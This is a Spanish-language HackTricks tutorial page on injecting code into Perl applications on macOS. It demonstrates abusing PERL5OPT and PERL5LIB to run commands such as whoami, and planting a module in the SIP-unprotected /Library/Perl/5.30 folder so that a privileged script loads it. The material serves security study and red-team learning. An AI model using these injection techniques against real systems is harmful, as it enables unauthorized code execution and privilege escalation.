macOS Perl Applications Injection

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

A través de las variables de entorno PERL5OPT y PERL5LIB

Usando la variable de entorno PERL5OPT es posible hacer que perl ejecute comandos arbitrarios. Por ejemplo, crea este script:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Ahora exporta la variable de entorno y ejecuta el script perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Otra opción es crear un módulo Perl (por ejemplo, /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Y luego usar las variables de entorno:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

A través de dependencias

Es posible listar el orden de la carpeta de dependencias de Perl en ejecución:

perl -e 'print join("\n", @INC)'

Lo siguiente devolverá algo como:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Algunas de las carpetas devueltas ni siquiera existen, sin embargo, /Library/Perl/5.30existe, no está protegida por SIP y está antes de las carpetas protegidas por SIP. Por lo tanto, alguien podría abusar de esa carpeta para agregar dependencias de scripts allí, de modo que un script Perl de alto privilegio lo cargue.

Sin embargo, ten en cuenta que necesitas ser root para escribir en esa carpeta y hoy en día obtendrás este aviso de TCC:

Por ejemplo, si un script está importando use File::Basename; sería posible crear /Library/Perl/5.30/File/Basename.pm para hacer que ejecute código arbitrario.

Referencias

Última actualización